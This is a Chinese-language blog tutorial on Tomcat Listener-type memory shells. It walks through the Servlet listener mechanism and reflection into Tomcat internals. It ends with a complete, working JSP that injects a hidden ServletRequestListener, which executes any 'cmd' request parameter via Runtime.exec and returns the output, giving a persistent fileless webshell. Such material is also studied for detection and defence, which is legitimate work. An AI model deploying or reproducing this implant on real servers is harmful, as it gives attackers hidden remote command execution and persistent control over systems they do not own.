Tomcat Listener型内存马
2025-01-05 15:26:28

Tomcat Listener型内存马

关于Servlet Listener

Listener:顾名思义就是监听Java对象的方法调用或者属性改变,即当发生上述现象时会调用Listener中的对应方法

Servlet规范中定义8个监听器接口,可用于监听ServletContext、HttpSession、ServletRequest,监听事件分类:

  • 监听对象创建和变量销毁
  • 监听对象属性变更
  • 监听HttpSession中对象状态改变

以下是一个使用ServletRequestListener的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.example.memshell;


import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class TestListener implements ServletRequestListener {

public TestListener(){

}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("test Listener requestDestroyed");
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("test Listener requestInitialized");
}


}

直接在requestInitialized打断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
requestInitialized:22, TestListener (com.example.memshell)
fireRequestInitEvent:5157, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:388, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:744, Thread (java.lang)

看看fireRequestInitEvent,首先是获取应用的所有listener,然后遍历调用requestInitialized(destroy的逻辑也是类似)

image-20250105113244820

看看ApplicationEventListeners中的相关方法,有getter,setter还有一个add,这在写内存马注册监听器有用

image-20250105150627805

获取Request和Response

request:

注意到我们在Listener中使用的参数ServletRequestEvent,跟进查看到构造函数,由于多态我们需要在调试时查看类型

此时的request为RequestFacade类

image-20250105151256923

实现了HttpServletRequest接口,可以直接拿来用了

注意这里的构造函数,可以继续查看是Request类

image-20250105151738708

  • reponse

在Request类中有一个getReponse函数,可以直接拿来用

image-20250105151918476

image-20250105152128724

  • 总结上述过程为

其实两者都是 tomcat 内部的对象, 封装了底层的 http 请求, 而 RequestFacade 是 Request 的又一层封装

下面我们用反射来实现上面获取的过程

1
2
3
4
5
RequestFacade requestFacade = (RequestFacade) sre.getServletRequest(); 
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

后面就能直接通过 request 和 response 来正常的接收参数和输出回显

Listener内存马

jsp内存马如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.xml.bind.Unmarshaller" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%

// 获取 standardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctxField = servletContext.getClass().getDeclaredField("context");
appctxField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctxField.get(servletContext);
Field stdctxField = applicationContext.getClass().getDeclaredField("context");
stdctxField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctxField.get(applicationContext);

// 创建Listener
// 调试的时候可以发现: ServletRequestListener listener = (ServletRequestListener)instance;
ServletRequestListener servletRequestListener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequestListener.super.requestDestroyed(sre);
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
try{
// 获取HTTP协议的Request和Response
RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
// 获取request
Request request = (Request) requestField.get(requestFacade);
// 从request中拿response
Response response = request.getResponse();

response.setCharacterEncoding("UTF-8");
PrintWriter printWriter = response.getWriter();
String cmd = request.getParameter("cmd");
if(cmd != null){
Process process = Runtime.getRuntime().exec(cmd);
// 获取输出
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line = null;
while((line = bufferedReader.readLine())!=null){
printWriter.write(line);
}
}

}catch (Exception e){
e.printStackTrace();
}

}
};

// 添加到listener list中
standardContext.addApplicationEventListener(servletRequestListener);

out.println("Listener Shell Injection Success");


%>
Prev
2025-01-05 15:26:28
Next